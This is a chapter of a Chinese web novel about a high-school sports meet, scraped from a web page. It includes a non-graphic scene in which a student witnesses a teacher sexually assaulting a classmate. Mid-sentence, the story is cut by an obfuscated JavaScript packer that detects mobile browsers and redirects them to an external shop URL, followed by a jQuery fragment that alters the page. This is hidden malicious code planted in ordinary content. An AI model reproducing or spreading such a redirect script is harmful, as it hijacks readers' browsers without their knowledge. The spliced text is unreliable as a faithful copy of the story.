15. 15
    运动会一共两天半,第一天的上午按例都是校领导讲话以及开幕仪式,结束之后,运动会才算正式开始。

    操场上,每个班站成两列,祝心习惯性地站在最后,向葵站在她前面。

    校领导在台上讲得神采奕奕,学生们在操场上怏怏站着。

    早上的雾气很重,空气的湿度很高,夹杂着枯草泥土的味道,让皮肤很快变得粘腻。

    梁锦书逆着人群,从第一排一直走到最后,她手里拿着两本运动会的安排册,将其中一本给祝心,说:“这个是详细的安排表,等会你记得把加油稿交上去,然后及时提醒运动员做准备。”

    “还有向葵,你的八百米在上午十点半,你可以提前去拉伸一下。”

    向葵凑过来,跟祝心一起翻动着册子,她找到自己的名字:

    十点跳高,十点半八百米,下午一点跳远。

    祝心皱着眉,问:“你可以吗,会不会很累?”她没想到时间会安排得这么密集。

    “没事,跳高和跳远都不累的。八百米对我来说也是小意思,你忙完记得来给我加油。”

    “行。”

    后勤工作比祝心想象中要忙,好几个项目同时进行,祝心满操场地跑找着人,等他们比赛完了,还要去送水。

    这运动量一点也不亚于跑八百米。

    祝心错过了向葵的第一个项目。她到时,向葵正在领奖台上领奖,她毫无悬念地拿下第一。祝心看着她,笑着为她鼓掌。这一刻,祝心才切实感到,像向葵这么优秀的人本就该这样万丈瞩目,花环拥簇。

    拍完照后,向葵拿着花跑下台。

    祝心迎上去:“恭喜你。”

    向葵将花塞给祝心:“抱好了。”

    花瓣擦过祝心的脸,在她的脸上留下淡淡的水迹。

    “你的花给我干嘛。”

    “等会我跑八百米,你就抱着花,站在终点等我。”

    跳高和八百米之间只隔了半个小时,祝心没跟向葵说几句话,催着她去拉伸做准备。

    十点半,所有运动员归位,一声枪响后,所有人奋力向前跑。向葵常年练舞,运动量本就大,不仅爆发力强,耐力也比别人好,一直领先别人半圈没被反超过。

    祝心的目光一直追随向葵的身影,最后一百米时,终点拉了横幅。她站在横幅后,在向葵越过的那一刻张开双臂接住她。惯性作用下,祝心手中的花掉落,身体也连连退后几步。

    红色的横幅被夹在她们中间,感受她们拥抱的温度。

    向葵在祝心的耳边一边喘气一边笑。

    “看吧,我就说我能行。”

    等她呼吸平稳了些,祝心才松开她,将早已拧开瓶盖的水递给她。

    “快喝点水休息一下。”

    上午的比赛完成得非常顺利,班上比赛的同学基本都拿了名次。祝心越发庆幸自己没有项目,不然又给班级拖后腿了。

    李虹看了比赛结果笑得合不拢嘴,中午午休时还特地买了水果发给他们当作奖励。

    运动会这两天没有作业,吃过午饭,大部分人早早趴下睡觉,为下午的比赛养精蓄锐。

    只有祝心,雷打不动地刷着题。运动会后,就是月考,她很想知道自己现在能考多少分。

    -

    预备铃响起后,班上的人陆续醒来,三两人一组,勾着肩,搭着背,陆续往操场走去。

    向葵每次睡醒都要去接一大杯水喝下。按照她的话来说,每天必须喝满八杯水。喝完水还得照照镜子,看看有没有新长的痘,顺便梳下头发,卷下刘海。

    等她这一□□完,比赛都结束了。

    祝心没有等她,自己先去了操场。

    梁锦书正和周培说话,旁边依旧站着张呓。自她来后,在她的身边总能看见张呓的身影。就像别人说的,“找不到张呓的时候就去找梁锦书,他俩一定在一起。就算不在一起,梁锦书也一定知道张呓在哪。”

    梁锦书对于张呓,就像导航塔对于飞行员。

    祝心远远望着,梁锦书将长发单扎成麻花辫搭在身前,穿着最时尚的灰白格蝙蝠斗篷披肩,衣摆下坠着流苏,厚厚的毛领将她的包裹,整个人像个洋娃娃般,笑一下,阳光好像就明媚几分。

    “你来啦。”梁锦书松开牵着张呓胳膊的手,迎上去,“我们正在等你呢。”

    祝心:“有什么事吗?”

    “没事,就是学生会的人通知我们去搬水,我让他们俩去,我等会儿要跑一千五,等他们搬过来之后你把水发给大家。”

    “好。”

    “麻烦你了。”

    哨声响起,梁锦书在跑道中间站定,志愿者为她们穿上印着号码的马甲。

    行政处门口,张呓和周培数好数量,将水搬到他们提前借来的推车上。来领水的人很多,但都是空手来的,每个人人吭哧吭哧地抱着两箱水。

    只有张呓临时借了个推车,一旁的周培偷笑道:“班长,还是你有先见之明。”

    隔壁十二班的人看得眼红,问张呓能不能顺便搭个车。

    周培得瑟得不得了,挡在张呓面前:“上个星期我去你们班借个畚斗都不借,现在还想搭我们的车?你咋这么大脸呢。”

    说起这个,周培就气得不得了。上周他铲雪,不小心把畚斗弄坏了,去找六班借,六班说什么都不借,最后雪没收拾完被骂了不说,还赔了学校钱。

    他搭着张呓的肩,憋着笑:“班长,听我的,咱们不借哈。”

    四箱水搬上车,周培正准备推走,张呓拦住他:“你等一下,老班中午说让我去办公室拿葡萄糖来着。”

    “行,那我在下面等你。”

    教师办公室二楼,张呓三步并作两步飞跨上楼。高三老师的班主任在最右边,只有一个门,门也在最右边,进出都需要经过两扇窗户。平日里,为了教学组长审查工作,窗帘一般不会拉上。

    而这次,窗帘居然被拉得严严实实。

    楼道安静得像是被调成了静音。

    张呓的好奇心上来,他偷偷打开窗户,将窗帘拉开了一个缝。还没等他往里看,一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054704|149146||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声带着哭腔的短促又隐忍的呻|吟溢出。

    张呓怔在原地,他不是什么都不知道的小孩,心底一个不可思议的想法冒出,急忙松开拉着窗帘的手。稍做平息后,他深吸一口,又伸手将窗帘拉得更开了些。

    这次,他清清楚楚地看见了和他关系最好的郭老师,正做着这个世界上最龌龊的事情。

    而被他侵犯的那个人,是向葵。

    这对他来说犹如晴天霹雳。

    一时之间,他愣愣地站在那,像一根被强行浇筑在路边的电线杆。他内心慌乱无措,不知道怎么办。是该制止?还是假装不知道?他又很后悔,不该为了满足自己的好奇心而去扒开窗帘。连绵不断地声音砸向他的耳朵,每一个音节似乎都在向他发出求救的信号。他的脸色倏然刷白,他的手也开始颤抖。

    “班长,你站这干嘛?不是去拿葡萄糖吗?”

    周培在下面等了很久也不见他下来,实在等不住了,跑上来找他。

    张呓吓了一跳,下意识地将他一把推走:“办公室好像没人,我们去医务室买点吧。”

    “哦,那快走吧,我有点尿急。”

    他们将水推过来时,一千五百米只剩不到两百米。梁锦书离终点越来越近,第五圈时她就开始用嘴呼吸,冬天的冷空气吸进肺里,跟吞刀片一样。

    最后五十米、三十米、二十米、十米……

    终点!

    梁锦书不负众望,第二个跨越终点线。众人围上去,又是递水又是欢呼。

    祝心手扭开手里一直拿着的保温杯,这是梁锦书跑前放在她那的。她拿了个纸杯,倒了半杯热水,又拆了瓶冷水加了一点进去。最后用手心试了下温度,正准备给梁锦书送去。张呓一把拽住她,几滴温热从杯中漾出,聚在虎口处,形成了一个小小的水洼。

    “我有话要对你说。”

    “等会再说吧,我先去送水。”祝心心里有些疑惑,平时涉及梁锦书的事他不是最积极的吗?

    “你先听我说——”

    张呓的话还没说完,远处传来一声惊呼。

    “有没有水啊,梁锦书吐了。”

    祝心和张呓同时跑过去,梁锦书蹲在地上,脸色惨白,因为刚吐过,从鼻尖到眼眶,甚至眉毛,都泛着浅浅粉意。

    张呓抢过祝心手中的水喂给她。

    “有没有人会掰葡萄糖啊。”周培手里举着玻璃安瓿,试了几下都没能掰开。

    葡萄糖不常用,不经常去医院的人甚至都不知道什么是安瓿,因此没有人盲目地自告奋勇。

    祝荷玉因为哮喘住过几次院,祝心陪床的时候见过护士掰这个瓶子。她举手:“我试试吧。”

    她学着记忆里护士的手法,把瓶口的蓝点对着自己,再将右手大拇指覆盖在蓝点处,固定后用力向外掰断。

    张呓抢过去倒在没喝完的水里,摇晃之后再次喂给梁锦书。

    越来越多的人围观,祝心逐渐被人群撞挤出去,无人在意的角落,几滴鲜血从她指尖渗出,滚落在地,将泥土染成深色。